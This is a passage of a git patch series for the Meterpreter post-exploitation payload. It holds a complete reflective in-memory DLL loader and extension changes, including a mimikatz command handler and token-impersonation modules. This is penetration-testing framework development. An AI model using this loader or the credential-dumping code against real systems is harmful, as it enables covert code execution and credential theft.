dEntryPoint = (DLLMAIN)(pDLLBaseAddress + pNtHeaders->OptionalHeader.AddressOfEntryPoint); + + if (dEntryPoint((HINSTANCE)pDLLBaseAddress, DLL_PROCESS_ATTACH, NULL) == FALSE) + { + dprintf("[LOADREFLECTIVELY] DllMain returned FALSE\n"); + return FALSE; + } + + *phModule = (HMODULE)pDLLBaseAddress; + + return TRUE; +} \ No newline at end of file diff --git a/c/meterpreter/source/metsrv/extension_loader.h b/c/meterpreter/source/metsrv/extension_loader.h new file mode 100755 index 000000000..89a1a93f4 --- /dev/null +++ b/c/meterpreter/source/metsrv/extension_loader.h @@ -0,0 +1,8 @@ +#include "common.h" + +typedef struct _BASE_RELOCATION_ENTRY { + WORD Offset : 12; // Specifies where the base relocation is to be applied. + WORD Type : 4; // Indicates the type of base relocation to be applied. +} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY; + +BOOL LoadReflectively(IN ULONG_PTR lpBuffer, OUT HMODULE* phModule); \ No newline at end of file diff --git a/c/meterpreter/source/metsrv/remote_dispatch.c b/c/meterpreter/source/metsrv/remote_dispatch.c index 9dee85dbd..c6523a026 100644 --- a/c/meterpreter/source/metsrv/remote_dispatch.c +++ b/c/meterpreter/source/metsrv/remote_dispatch.c @@ -2,16 +2,11 @@ #include "common_metapi.h" #include "common_exports.h" #include "server_pivot.h" +#include "extension_loader.h" #define GetProcAddressByOrdinal(mod, ord) GetProcAddress(mod, MAKEINTRESOURCEA(ord)) #define GetProcAddressByOrdinalR(mod, ord) GetProcAddressR(mod, MAKEINTRESOURCEA(ord)) - -typedef struct _BASE_RELOCATION_ENTRY { - WORD Offset : 12; // Specifies where the base relocation is to be applied. - WORD Type : 4; // Indicates the type of base relocation to be applied. -} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY; - // see ReflectiveLoader.c... extern HINSTANCE hAppInstance; @@ -235,280 +230,6 @@ DWORD stagelessinit_extension(UINT extensionId, LPBYTE data, DWORD dataSize) -BOOL FixRelocations(PIMAGE_DATA_DIRECTORY dRelocBaseAddress, ULONG_PTR pBaseAddress, ULONG_PTR pPreferrableAddress) -{ - ULONG_PTR delta = pBaseAddress - pPreferrableAddress; - PIMAGE_BASE_RELOCATION pBaseRelocationTable = (PIMAGE_BASE_RELOCATION)(pBaseAddress + dRelocBaseAddress->VirtualAddress); - PBASE_RELOCATION_ENTRY pBaseRelocEntry = NULL; - - while (pBaseRelocationTable->SizeOfBlock != 0) - { - pBaseRelocEntry = (PBASE_RELOCATION_ENTRY)(pBaseRelocationTable + 1); - while ((PBYTE)pBaseRelocEntry != (PBYTE)pBaseRelocationTable + pBaseRelocationTable->SizeOfBlock) - { - switch (pBaseRelocEntry->Type) - { - case IMAGE_REL_BASED_ABSOLUTE: - break; - case IMAGE_REL_BASED_DIR64: - *((ULONG_PTR*)(pBaseAddress + pBaseRelocationTable->VirtualAddress + pBaseRelocEntry->Offset)) += delta; - break; - case IMAGE_REL_BASED_HIGHLOW: - *((DWORD*)(pBaseAddress + pBaseRelocationTable->VirtualAddress + pBaseRelocEntry->Offset)) += (DWORD)delta; - break; - #if defined(_M_ARM) - case IMAGE_REL_BASED_ARM_MOV32T: - DWORD dwInstruction = *(DWORD *)((ULONG_PTR)pBaseAddress + pBaseRelocationTable->VirtualAddress + pBaseRelocEntry->Offset + sizeof(DWORD)); - // Flip the words to get the instruction as expected (account for endianness/instruction packing). - dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); - if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT) - { - // Pull out the encoded 16-bit immediate value (high portion of the address-to-relocate). - WORD wImm = (WORD)(dwInstruction & 0x000000FF); - wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); - wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); - wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); - // Apply the relocation delta to the target address. - DWORD dwAddress = ((WORD)HIWORD(uiDelta) + wImm) & 0xFFFF; - // Create a new instruction with the same opcode and register parameters. - dwInstruction &= ARM_MOV_MASK2; - // Patch in the relocated address, re-encoding the immediate value. - dwInstruction |= (DWORD)(dwAddress & 0x00FF); - dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; - dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; - dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; - // Flip the instructions words and patch back into the code. - *(DWORD *)((ULONG_PTR)pBaseAddress + pBaseRelocationTable->VirtualAddress + pBaseRelocEntry->Offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); - } - #endif - case IMAGE_REL_BASED_HIGH: - *((WORD*)(pBaseAddress + pBaseRelocationTable->VirtualAddress + pBaseRelocEntry->Offset)) += HIWORD(delta); - break; - case IMAGE_REL_BASED_LOW: - *((WORD*)(pBaseAddress + pBaseRelocationTable->VirtualAddress + pBaseRelocEntry->Offset)) += LOWORD(delta); - break; - default: - dprintf("[FIXRELOC] Unknown relocation type: %d", pBaseRelocEntry->Type); - return FALSE; - - } - - pBaseRelocEntry = pBaseRelocEntry + 1; - } - pBaseRelocationTable = (PIMAGE_BASE_RELOCATION)((PBYTE)pBaseRelocationTable + pBaseRelocationTable->SizeOfBlock); - } - - return TRUE; -} - -BOOL FixIAT(PIMAGE_DATA_DIRECTORY pDataDirectoryImportTable, PBYTE pBaseAddress) { - - PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor = NULL; - ULONG_PTR fncPointer = 0; - HANDLE hModule = NULL; - - for (SIZE_T i = 0; i < pDataDirectoryImportTable->Size; i += sizeof(IMAGE_IMPORT_DESCRIPTOR)) { - - ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pBaseAddress + pDataDirectoryImportTable->VirtualAddress + i); - - if (ImportDescriptor->OriginalFirstThunk == 0 && ImportDescriptor->FirstThunk == 0) - break; - - LPCSTR dllName = (LPSTR)(pBaseAddress + ImportDescriptor->Name); - - PIMAGE_THUNK_DATA pINT = (PIMAGE_THUNK_DATA)(pBaseAddress + ImportDescriptor->OriginalFirstThunk); - PIMAGE_THUNK_DATA pIAT = (PIMAGE_THUNK_DATA)(pBaseAddress + ImportDescriptor->FirstThunk); - - hModule = LoadLibraryA(dllName); - - if (hModule == NULL) - { - dprintf("[LOADREFLECTIVELY] Failed to load DLL %s\n", dllName); - return FALSE; - } - - while (pIAT->u1.Function != 0 || pINT->u1.Function != 0) { - LPCSTR fncName = NULL; - - if (IMAGE_SNAP_BY_ORDINAL(pINT->u1.Ordinal)) - { - // import by ordinal - //fncPointer = (ULONG_PTR)GetProcAddress(hModule, (LPCSTR)(IMAGE_ORDINAL(pINT->u1.Ordinal))); - fncName = (LPCSTR)(IMAGE_ORDINAL(pINT->u1.Ordinal)); - } - else { - - // import by name - PIMAGE_IMPORT_BY_NAME pImgImportByName = (PIMAGE_IMPORT_BY_NAME)(pBaseAddress + pINT->u1.AddressOfData); - //fncPointer = (ULONG_PTR)GetProcAddress(hModule, pImgImportByName->Name); - fncName = pImgImportByName->Name; - } - - fncPointer = (ULONG_PTR)GetProcAddress(hModule, fncName); - if (fncPointer == 0) - { - dprintf("[LOADREFLECTIVELY] Failed to resolve function in DLL %s\n", dllName); - return FALSE; - } - pIAT->u1.Function = fncPointer; - - pINT = (PIMAGE_THUNK_DATA)((PBYTE)(pINT)+sizeof(IMAGE_THUNK_DATA)); - pIAT = (PIMAGE_THUNK_DATA)((PBYTE)(pIAT)+sizeof(IMAGE_THUNK_DATA)); - } - - } - - return TRUE; -} - -BOOL FixPermissions(PIMAGE_NT_HEADERS pNtHeaders, PBYTE pBaseAddress) -{ - PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((PBYTE)(&(pNtHeaders->OptionalHeader)) + pNtHeaders->FileHeader.SizeOfOptionalHeader); - - for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) - { - DWORD dwProtection, dwOldFlags; - - if (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE) - dwProtection = PAGE_WRITECOPY; - - if (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_READ) - dwProtection = PAGE_READONLY; - - if ((pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_READ)) - dwProtection = PAGE_READWRITE; - - if (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) - dwProtection = PAGE_EXECUTE; - - if ((pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE)) - dwProtection = PAGE_EXECUTE_WRITECOPY; - - if ((pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_READ)) - dwProtection = PAGE_EXECUTE_READ; - - if ((pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_READ)) - dwProtection = PAGE_EXECUTE_READWRITE; - - dprintf("[FIXPERM] Setting permissions for section %p to %x with size %x\n",pBaseAddress + pSectionHeader[i].VirtualAddress , dwProtection, pSectionHeader[i].SizeOfRawData); - LPVOID lpAddress = (PBYTE)pBaseAddress + pSectionHeader[i].VirtualAddress; - if(met_api->win_api.kernel32.VirtualProtect(&(lpAddress), pSectionHeader[i].SizeOfRawData, dwProtection, &dwOldFlags) == 0) - { - dprintf("[LOADREFLECTIVELY] Failed to fix permissions for section %d\n", i); - return FALSE; - } - - } - - return TRUE; - -} - -BOOL LoadReflectively(IN ULONG_PTR lpBuffer, OUT HMODULE *phModule) { - - dprintf("[LOADREFLECTIVELY] Loading library reflectively from buffer %p\n", lpBuffer); - - PBYTE pBaseAddress = (PBYTE)lpBuffer; - PBYTE pDLLBaseAddress = NULL; - PIMAGE_SECTION_HEADER pSectionHeader = NULL; - *phModule = NULL; - - PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)(lpBuffer); - - if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) - { - dprintf("[LOADREFLECTIVELY] DOS signature not valid\n"); - return FALSE; - } - - PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(pDosHeader->e_lfanew + pBaseAddress); - - if(pNtHeaders->Signature != IMAGE_NT_SIGNATURE) - { - dprintf("[LOADREFLECTIVELY] NT signature not valid\n"); - return FALSE; - } - dprintf("[LOADREFLECTIVELY] PE headers are valid\n"); - - dprintf("[LOADREFLECTIVELY] Allocating memory for the library\n"); - pDLLBaseAddress = (PBYTE)met_api->win_api.kernel32.VirtualAlloc(NULL, pNtHeaders->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); - - if (pDLLBaseAddress == NULL) - { - dprintf("[LOADREFLECTIVELY] VirtualAlloc failed\n"); - return FALSE; - } - - dprintf("[LOADREFLECTIVELY] Allocation succesfull, got %p\n", pDLLBaseAddress); - - pSectionHeader = (PIMAGE_SECTION_HEADER)((PBYTE)(&(pNtHeaders->OptionalHeader)) + pNtHeaders->FileHeader.SizeOfOptionalHeader); - - DWORD dwSizeOfHeaders = pNtHeaders->OptionalHeader.SizeOfHeaders; - PBYTE pSourceBase = pBaseAddress; - PBYTE pDestinationBase = pDLLBaseAddress; - - dprintf("[LOADREFLECTIVELY] Copying headers\n"); - - while (dwSizeOfHeaders--) - *pDestinationBase++ = *pSourceBase++; - - dprintf("[LOADREFLECTIVELY] Copying PE sections\n"); - - // 1. Copy the PE headers to the new location - for(DWORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) - { - - PBYTE pDestinationBase = pDLLBaseAddress + pSectionHeader[i].VirtualAddress; - PBYTE pSourceBase = pBaseAddress + pSectionHeader[i].PointerToRawData; - DWORD dwSizeOfHeaders = pSectionHeader[i].SizeOfRawData; - dprintf("[LOADREFLECTIVELY] Copying section %p to %p with length %x\n", pSourceBase, pDestinationBase, dwSizeOfHeaders); - while (dwSizeOfHeaders--) - *pDestinationBase++ = *pSourceBase++; - } - - // 2. Get all necessary sections - PIMAGE_DATA_DIRECTORY pImportTableDirectory = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; - PIMAGE_DATA_DIRECTORY pRelocationTableDirectory = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; - - // 3. Fix relocations - dprintf("[LOADREFLECTIVELY] Fixing relocations\n"); - if(!FixRelocations(pRelocationTableDirectory, (ULONG_PTR)pDLLBaseAddress, pNtHeaders->OptionalHeader.ImageBase)) - { - dprintf("[LOADREFLECTIVELY] Failed to fix relocations\n"); - return FALSE; - } - - // 4. Fix the IAT - dprintf("[LOADREFLECTIVELY] Fixing IAT\n"); - if(!FixIAT(pImportTableDirectory, pDLLBaseAddress)) - { - dprintf("[LOADREFLECTIVELY] Failed to fix IAT\n"); - return FALSE; - } - - // 5. Set the correct permissions for the sections - dprintf("[LOADREFLECTIVELY] Fixing permissions\n"); - if(!FixPermissions(pNtHeaders, pDLLBaseAddress)) - { - dprintf("[LOADREFLECTIVELY] Failed to fix permissions\n"); - return FALSE; - } - - // 6. Call the entry point - - dprintf("[LOADREFLECTIVELY] Calling entry point\n"); - DLLMAIN dEntryPoint = (DLLMAIN)(pDLLBaseAddress + pNtHeaders->OptionalHeader.AddressOfEntryPoint); - - if (dEntryPoint((HINSTANCE)pDLLBaseAddress, DLL_PROCESS_ATTACH, NULL) == FALSE) - { - dprintf("[LOADREFLECTIVELY] DllMain returned FALSE\n"); - return FALSE; - } - - *phModule = (HMODULE)pDLLBaseAddress; - - return TRUE; -} /* * @brief Load an extension from the given library handle. * @param hLibrary handle to the library to load/init. diff --git a/c/meterpreter/workspace/metsrv/metsrv.vcxproj b/c/meterpreter/workspace/metsrv/metsrv.vcxproj index 44f2c7c2e..0cd9df5d0 100644 --- a/c/meterpreter/workspace/metsrv/metsrv.vcxproj +++ b/c/meterpreter/workspace/metsrv/metsrv.vcxproj @@ -547,6 +547,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" + @@ -578,6 +579,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" + @@ -620,4 +622,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - + \ No newline at end of file diff --git a/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters b/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters index 4fea91254..5be82553e 100644 --- a/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters +++ b/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters @@ -29,6 +29,7 @@ + @@ -61,9 +62,10 @@ + - + \ No newline at end of file From 76d02b94f3d1041d18c143ea57b8f960a27c5e9e Mon Sep 17 00:00:00 2001 From: msutovsky-r7 Date: Mon, 23 Mar 2026 15:02:33 +0100 Subject: [PATCH 05/23] Removes breakpoint --- c/meterpreter/source/metsrv/extension_loader.c | 1 - 1 file changed, 1 deletion(-) diff --git a/c/meterpreter/source/metsrv/extension_loader.c b/c/meterpreter/source/metsrv/extension_loader.c index cc3170a4c..6f835155e 100755 --- a/c/meterpreter/source/metsrv/extension_loader.c +++ b/c/meterpreter/source/metsrv/extension_loader.c @@ -175,7 +175,6 @@ BOOL FixPermissions(PIMAGE_NT_HEADERS pNtHeaders, PBYTE pBaseAddress) BOOL LoadReflectively(IN ULONG_PTR lpBuffer, OUT HMODULE *phModule) { dprintf("[LOADREFLECTIVELY] Loading library reflectively from buffer %p\n", lpBuffer); - __debugbreak(); PBYTE pBaseAddress = (PBYTE)lpBuffer; PBYTE pDLLBaseAddress = NULL; PIMAGE_SECTION_HEADER pSectionHeader = NULL; From dbd902c88e401d215671f494695586de35a4603d Mon Sep 17 00:00:00 2001 From: Diego Ledda Date: Fri, 27 Mar 2026 11:07:46 +0100 Subject: [PATCH 06/23] Apply suggestion from @Copilot Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com> --- c/meterpreter/source/metsrv/extension_loader.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/c/meterpreter/source/metsrv/extension_loader.c b/c/meterpreter/source/metsrv/extension_loader.c index 6f835155e..65b89f39e 100755 --- a/c/meterpreter/source/metsrv/extension_loader.c +++ b/c/meterpreter/source/metsrv/extension_loader.c @@ -206,7 +206,7 @@ BOOL LoadReflectively(IN ULONG_PTR lpBuffer, OUT HMODULE *phModule) { return FALSE; } - dprintf("[LOADREFLECTIVELY] Allocation succesfull, got %p\n", pDLLBaseAddress); + dprintf("[LOADREFLECTIVELY] Allocation successful, got %p\n", pDLLBaseAddress); pSectionHeader = (PIMAGE_SECTION_HEADER)((PBYTE)(&(pNtHeaders->OptionalHeader)) + pNtHeaders->FileHeader.SizeOfOptionalHeader); From ca8b5071cbf802b3770c4e9ba6f58c0682deb915 Mon Sep 17 00:00:00 2001 From: msutovsky-r7 Date: Tue, 24 Mar 2026 15:18:56 +0100 Subject: [PATCH 07/23] Removes reflective loader from extensions --- c/meterpreter/source/common/common_metapi.h | 2 +- c/meterpreter/source/def/extension.def | 1 - .../source/extensions/bofloader/bofloader.c | 10 +- c/meterpreter/source/extensions/espia/espia.c | 10 +- .../source/extensions/extapi/extapi.c | 10 +- .../source/extensions/incognito/incognito.c | 10 +- c/meterpreter/source/extensions/kiwi/main.c | 104 ++++++++------- .../source/extensions/lanattacks/lanattacks.c | 12 +- .../source/extensions/peinjector/peinjector.c | 10 +- .../source/extensions/powershell/powershell.c | 10 +- .../source/extensions/priv/precomp.h | 4 - c/meterpreter/source/extensions/priv/priv.c | 9 +- .../source/extensions/priv/tokendup.c | 4 +- .../source/extensions/python/python_main.c | 124 +++++++++--------- .../source/extensions/sniffer/precomp.h | 6 +- .../source/extensions/sniffer/sniffer.c | 10 +- .../source/extensions/stdapi/server/precomp.h | 124 +++++++++++++++++- .../source/extensions/stdapi/server/stdapi.c | 9 +- .../stdapi/server/sys/process/image.c | 2 +- .../stdapi/server/sys/process/in-mem-exe.c | 4 +- .../source/extensions/stdapi/server/ui/ui.c | 1 + .../source/extensions/unhook/apisetmap.h | 2 +- .../source/extensions/unhook/refresh.c | 2 +- .../source/extensions/unhook/unhook.c | 10 +- .../winpmem/winpmem_meterpreter.cpp | 4 +- c/meterpreter/source/metsrv/metsrv.h | 2 +- c/meterpreter/source/metsrv/remote_dispatch.c | 2 +- 27 files changed, 325 insertions(+), 173 deletions(-) diff --git a/c/meterpreter/source/common/common_metapi.h b/c/meterpreter/source/common/common_metapi.h index 844e23407..effb6126c 100644 --- a/c/meterpreter/source/common/common_metapi.h +++ b/c/meterpreter/source/common/common_metapi.h @@ -188,5 +188,5 @@ typedef struct _MetApi } MetApi; extern MetApi* met_api; - +extern HINSTANCE hAppInstance; #endif \ No newline at end of file diff --git a/c/meterpreter/source/def/extension.def b/c/meterpreter/source/def/extension.def index 523aa425c..4a7af08be 100644 --- a/c/meterpreter/source/def/extension.def +++ b/c/meterpreter/source/def/extension.def @@ -1,6 +1,5 @@ NAME extension.dll EXPORTS - ReflectiveLoader @1 NONAME PRIVATE InitServerExtension @2 NONAME PRIVATE DeinitServerExtension @3 NONAME PRIVATE StagelessInit @4 NONAME PRIVATE diff --git a/c/meterpreter/source/extensions/bofloader/bofloader.c b/c/meterpreter/source/extensions/bofloader/bofloader.c index 8e8fe5d6e..0fb82f119 100644 --- a/c/meterpreter/source/extensions/bofloader/bofloader.c +++ b/c/meterpreter/source/extensions/bofloader/bofloader.c @@ -12,8 +12,9 @@ // Required so that use of the API works. MetApi* met_api = NULL; -#define RDIDLL_NOEXPORT -#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" +HINSTANCE hAppInstance = NULL; +//#define RDIDLL_NOEXPORT +//#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" /*! @brief The enabled commands for this extension. */ Command customCommands[] = @@ -87,11 +88,13 @@ DWORD request_execute(Remote* remote, Packet* packet) * @brief Initialize the server extension. * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. + * @param hinst Pointer to the HINSTANCE. * @return Indication of success or failure. */ -DWORD InitServerExtension(MetApi* api, Remote* remote) +DWORD InitServerExtension(MetApi* api, Remote* remote, HINSTANCE hinst) { met_api = api; + hAppInstance = hinst; SET_LOGGING_CONTEXT(api) met_api->command.register_all(customCommands); @@ -106,6 +109,7 @@ DWORD InitServerExtension(MetApi* api, Remote* remote) DWORD DeinitServerExtension(Remote *remote) { met_api->command.deregister_all(customCommands); + hAppInstance = NULL; return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/espia/espia.c b/c/meterpreter/source/extensions/espia/espia.c index 06787d0d6..d41d4090d 100644 --- a/c/meterpreter/source/extensions/espia/espia.c +++ b/c/meterpreter/source/extensions/espia/espia.c @@ -9,9 +9,10 @@ // Required so that use of the API works. MetApi* met_api = NULL; +HINSTANCE hAppInstance = NULL; -#define RDIDLL_NOEXPORT -#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" +//#define RDIDLL_NOEXPORT +//#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" Command customCommands[] = { @@ -23,11 +24,13 @@ Command customCommands[] = * @brief Initialize the server extension. * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. + * @param hinst Pointer to the HINSTANCE. * @return Indication of success or failure. */ -DWORD InitServerExtension(MetApi* api, Remote *remote) +DWORD InitServerExtension(MetApi* api, Remote *remote, HINSTANCE hinst) { met_api = api; + hAppInstance = hinst; SET_LOGGING_CONTEXT(api) met_api->command.register_all( customCommands ); @@ -43,6 +46,7 @@ DWORD InitServerExtension(MetApi* api, Remote *remote) DWORD DeinitServerExtension(Remote *remote) { met_api->command.deregister_all( customCommands ); + hAppInstance = NULL; return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/extapi/extapi.c b/c/meterpreter/source/extensions/extapi/extapi.c index f78025122..f7181bab7 100644 --- a/c/meterpreter/source/extensions/extapi/extapi.c +++ b/c/meterpreter/source/extensions/extapi/extapi.c @@ -8,9 +8,10 @@ // Required so that use of the API works. MetApi* met_api = NULL; +HINSTANCE hAppInstance = NULL; -#define RDIDLL_NOEXPORT -#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" +//#define RDIDLL_NOEXPORT +//#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include "window.h" #include "service.h" @@ -46,11 +47,13 @@ Command customCommands[] = * @brief Initialize the server extension. * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. + * @param hinst Pointer to the HINSTANCE. * @return Indication of success or failure. */ -DWORD InitServerExtension(MetApi* api, Remote* remote) +DWORD InitServerExtension(MetApi* api, Remote* remote, HINSTANCE hinst) { met_api = api; + hAppInstance = hinst; SET_LOGGING_CONTEXT(api) met_api->command.register_all(customCommands); @@ -69,6 +72,7 @@ DWORD InitServerExtension(MetApi* api, Remote* remote) DWORD DeinitServerExtension(Remote *remote) { met_api->command.deregister_all(customCommands); + hAppInstance = NULL; return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/incognito/incognito.c b/c/meterpreter/source/extensions/incognito/incognito.c index ce97bce7b..bc775f1db 100644 --- a/c/meterpreter/source/extensions/incognito/incognito.c +++ b/c/meterpreter/source/extensions/incognito/incognito.c @@ -13,9 +13,10 @@ // Required so that use of the API works. MetApi* met_api = NULL; +HINSTANCE hAppInstance = NULL; -#define RDIDLL_NOEXPORT -#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" +//#define RDIDLL_NOEXPORT +//#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" DWORD request_incognito_list_tokens(Remote *remote, Packet *packet); DWORD request_incognito_impersonate_user(Remote *remote, Packet *packet); @@ -217,11 +218,13 @@ Command customCommands[] = * @brief Initialize the server extension. * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. + * @param hinst Pointer to the HINSTANCE. * @return Indication of success or failure. */ -DWORD InitServerExtension(MetApi* api, Remote* remote) +DWORD InitServerExtension(MetApi* api, Remote* remote, HINSTANCE hinst) { met_api = api; + hAppInstance = hinst; SET_LOGGING_CONTEXT(api) met_api->command.register_all( customCommands ); @@ -237,6 +240,7 @@ DWORD InitServerExtension(MetApi* api, Remote* remote) DWORD DeinitServerExtension(Remote *remote) { met_api->command.deregister_all( customCommands ); + hAppInstance = NULL; return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/kiwi/main.c b/c/meterpreter/source/extensions/kiwi/main.c index fd47a8552..c64eb5103 100755 --- a/c/meterpreter/source/extensions/kiwi/main.c +++ b/c/meterpreter/source/extensions/kiwi/main.c @@ -8,81 +8,84 @@ // Required so that use of the API works. MetApi* met_api = NULL; +HINSTANCE hAppInstance = NULL; -#define RDIDLL_NOEXPORT -#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" +//#define RDIDLL_NOEXPORT +//#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include "main.h" - + extern wchar_t * powershell_reflective_mimikatz(LPWSTR input); extern DWORD kuhl_m_kerberos_ptt_data(PVOID data, DWORD dataSize); -extern LONG mimikatz_initOrClean(BOOL Init); +extern LONG mimikatz_initOrClean(BOOL Init); -DWORD request_exec_cmd(Remote *remote, Packet *packet); +DWORD request_exec_cmd(Remote *remote, Packet *packet); //DWORD request_kerberos_ticket_use(Remote *remote, Packet *packet); /*! @brief The enabled commands for this extension. */ Command customCommands[] = { - COMMAND_REQ(COMMAND_ID_KIWI_EXEC_CMD, request_exec_cmd), + COMMAND_REQ(COMMAND_ID_KIWI_EXEC_CMD, request_exec_cmd), COMMAND_TERMINATOR }; -/*! - * @brief Handler for the generic command execution function. - * @param remote Pointer to the \c Remote instance. - * @param packet Pointer to the incoming packet. - * @returns \c ERROR_SUCCESS - */ -DWORD request_exec_cmd(Remote *remote, Packet *packet) -{ - DWORD result = ERROR_SUCCESS; - Packet * response = met_api->packet.create_response(packet); - - wchar_t* cmd = met_api->packet.get_tlv_value_wstring(packet, TLV_TYPE_KIWI_CMD); - if (cmd != NULL) - { - dprintf("[KIWI] Executing command: %S", cmd); - - // While this implies that powershell is in use, this is just a naming thing, - // it's not actually using powershell. - wchar_t* output = powershell_reflective_mimikatz(cmd); - dprintf("[KIWI] Executed command: %S", cmd); - if (output != NULL) - { - met_api->packet.add_tlv_wstring(response, TLV_TYPE_KIWI_CMD_RESULT, output); - } - else - { - result = ERROR_OUTOFMEMORY; - } - //LocalFree(cmd); - } - else - { - result = ERROR_INVALID_PARAMETER; - } - - dprintf("[KIWI] Dumped, transmitting response."); - met_api->packet.transmit_response(result, remote, response); - dprintf("[KIWI] Done."); - - return ERROR_SUCCESS; -} - +/*! + * @brief Handler for the generic command execution function. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the incoming packet. + * @returns \c ERROR_SUCCESS + */ +DWORD request_exec_cmd(Remote *remote, Packet *packet) +{ + DWORD result = ERROR_SUCCESS; + Packet * response = met_api->packet.create_response(packet); + + wchar_t* cmd = met_api->packet.get_tlv_value_wstring(packet, TLV_TYPE_KIWI_CMD); + if (cmd != NULL) + { + dprintf("[KIWI] Executing command: %S", cmd); + + // While this implies that powershell is in use, this is just a naming thing, + // it's not actually using powershell. + wchar_t* output = powershell_reflective_mimikatz(cmd); + dprintf("[KIWI] Executed command: %S", cmd); + if (output != NULL) + { + met_api->packet.add_tlv_wstring(response, TLV_TYPE_KIWI_CMD_RESULT, output); + } + else + { + result = ERROR_OUTOFMEMORY; + } + //LocalFree(cmd); + } + else + { + result = ERROR_INVALID_PARAMETER; + } + + dprintf("[KIWI] Dumped, transmitting response."); + met_api->packet.transmit_response(result, remote, response); + dprintf("[KIWI] Done."); + + return ERROR_SUCCESS; +} + /*! * @brief Initialize the server extension. * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. + * @param hinst Pointer to the HINSTANCE. * @return Indication of success or failure. */ -DWORD InitServerExtension(MetApi* api, Remote* remote) +DWORD InitServerExtension(MetApi* api, Remote* remote, HINSTANCE hinst) { met_api = api; + hAppInstance = hinst; SET_LOGGING_CONTEXT(api) dprintf("[KIWI] Init server extension - initorclean"); - mimikatz_initOrClean(TRUE); + mimikatz_initOrClean(TRUE); dprintf("[KIWI] Init server extension - register"); met_api->command.register_all(customCommands); @@ -101,6 +104,7 @@ DWORD DeinitServerExtension(Remote *remote) { mimikatz_initOrClean(FALSE); met_api->command.deregister_all(customCommands); + hAppInstance = NULL; return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/lanattacks/lanattacks.c b/c/meterpreter/source/extensions/lanattacks/lanattacks.c index db69a4fb7..f8f0db5f2 100644 --- a/c/meterpreter/source/extensions/lanattacks/lanattacks.c +++ b/c/meterpreter/source/extensions/lanattacks/lanattacks.c @@ -7,9 +7,10 @@ // Required so that use of the API works. MetApi* met_api = NULL; +HINSTANCE hAppInstance = NULL; -#define RDIDLL_NOEXPORT -#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" +//#define RDIDLL_NOEXPORT +//#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include #include "lanattacks.h" @@ -177,11 +178,13 @@ Command customCommands[] = * @brief Initialize the server extension. * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. + * @param hinst Pointer to the HINSTANCE. * @return 